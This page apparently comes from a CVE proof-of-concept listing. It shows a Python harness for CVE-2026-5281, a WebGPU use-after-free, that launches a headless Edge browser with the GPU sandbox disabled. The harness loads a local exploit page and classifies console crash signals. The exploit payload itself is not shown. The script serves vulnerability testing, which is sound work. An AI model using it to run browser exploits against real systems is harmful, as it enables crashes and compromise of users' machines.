5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve_2026_5281_automated_test.py PY
import asyncio
import argparse
import json
import logging
from datetime import datetime
from pathlib import Path

from pyppeteer import launch

logging.basicConfig(
    level=logging.INFO, 
    format='%(asctime)s [%(levelname)s] %(message)s'
)

FATAL_MARKERS = (
    "GPU DEVICE LOST",
    "CRASH DETECTED",
    "VULNERABILITY CONFIRMED",
)


def ensure_parent_dir(file_path: str):
    p = Path(file_path)
    p.parent.mkdir(parents=True, exist_ok=True)


def classify_console_line(text: str):
    upper = text.upper()
    if any(marker in upper for marker in FATAL_MARKERS):
        return "fatal"
    if "UNCAUGHT GPU ERROR" in upper and any(x in upper for x in ("DEVICE LOST", "GPU HANG", "CONTEXT LOST", "OUT OF MEMORY", "INTERNAL ERROR", "REMOVED")):
        return "fatal"
    if "MAX ATTEMPTS REACHED WITHOUT CRASH" in upper:
        return "non_fatal_terminal"
    return "info"

async def test_cve_2026_5281_headless(url: str, timeout_seconds: int, browser_path: str):
    logging.info("Starting Headless Automated Testing for CVE-2026-5281 UAF...")
    run_data = {
        "started_at": datetime.utcnow().isoformat() + "Z",
        "url": url,
        "timeout_seconds": timeout_seconds,
        "browser_path": browser_path,
        "console": [],
        "status": "running",
        "signals": {
            "fatal": False,
            "max_attempts_without_crash": False,
        },
    }

    def on_console_message(msg):
        text = msg.text
        classification = classify_console_line(text)
        run_data["console"].append({
            "ts": datetime.utcnow().isoformat() + "Z",
            "classification": classification,
            "text": text,
        })
        logging.info(f"BROWSER CONSOLE: {text}")
        if classification == "fatal":
            run_data["signals"]["fatal"] = True
        if classification == "non_fatal_terminal":
            run_data["signals"]["max_attempts_without_crash"] = True
    
    # Launch browser with parameters allowing WebGPU natively
    browser = await launch(
        headless=True,
        executablePath=browser_path,
        args=[
            '--enable-unsafe-webgpu',
            '--disable-gpu-sandbox',   # Disabling sandbox to ensure direct hardware testing
            '--enable-features=Vulkan',
            '--use-angle=vulkan'       # Depending on platform, you could also configure to 'd3d11' or 'default'
        ]
    )
    
    page = await browser.newPage()
    
    # We must listen to console logs generated by our exploit HTML
    page.on('console', on_console_message)
    
    try:
        logging.info(f"Navigating to exploit payload on {url}")
        await page.goto(url, {'waitUntil': 'domcontentloaded'})
        
        logging.info(f"Waiting for exploit to execute. The automated headless script will run for up to {timeout_seconds} seconds.")
        await asyncio.sleep(timeout_seconds)
        run_data["status"] = "completed"
        
    except Exception as e:
        # A successful DoS or context crash might actually break the Pyppeteer protocol connection
        logging.warning("Exception caught while connected. This could mean the GPU rendering engine cleanly crashed the headless tab!")
        logging.error(f"Error trace: {e}")
        run_data["status"] = "exception"
        run_data["exception"] = str(e)
    finally:
        logging.info("Attempting to close the headless browser.")
        try:
            await browser.close()
            logging.info("Browser closed gracefully.")
        except Exception as e:
            logging.warning("Browser was completely hung or killed! (Expected during DoS)")
            run_data["status"] = "browser_hung"

    run_data["ended_at"] = datetime.utcnow().isoformat() + "Z"
    return run_data


def summarize_run(run_data):
    if run_data["signals"]["fatal"]:
        verdict = "fatal_signal_detected"
    elif run_data["signals"]["max_attempts_without_crash"]:
        verdict = "no_crash_within_attempt_budget"
    else:
        verdict = "inconclusive"

    return {
        "verdict": verdict,
        "status": run_data.get("status", "unknown"),
        "signals": run_data.get("signals", {}),
        "console_lines": len(run_data.get("console", [])),
    }


def parse_args():
    parser = argparse.ArgumentParser(description="CVE-2026-5281 automated browser behavior runner")
    parser.add_argument("--url", default="http://localhost:8080/exploit.html", help="Target URL to open")
    parser.add_argument("--timeout", type=int, default=15, help="How long to observe behavior")
    parser.add_argument("--browser-path", default=r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe", help="Chromium-based browser executable path")
    parser.add_argument("--out-json", default="automated_test_run.json", help="Path for structured JSON output")
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()
    logging.info("=== AUTOMATED WEBGPU CRASH DETECTOR ===")
    data = asyncio.get_event_loop().run_until_complete(
        test_cve_2026_5281_headless(args.url, args.timeout, args.browser_path)
    )
    summary = summarize_run(data)
    data["summary"] = summary

    ensure_parent_dir(args.out_json)
    Path(args.out_json).write_text(json.dumps(data, indent=2), encoding="utf-8")
    logging.info(f"Saved run JSON: {args.out_json}")
    logging.info(f"Run verdict: {summary['verdict']}")
    logging.info("=== END OF TEST ===")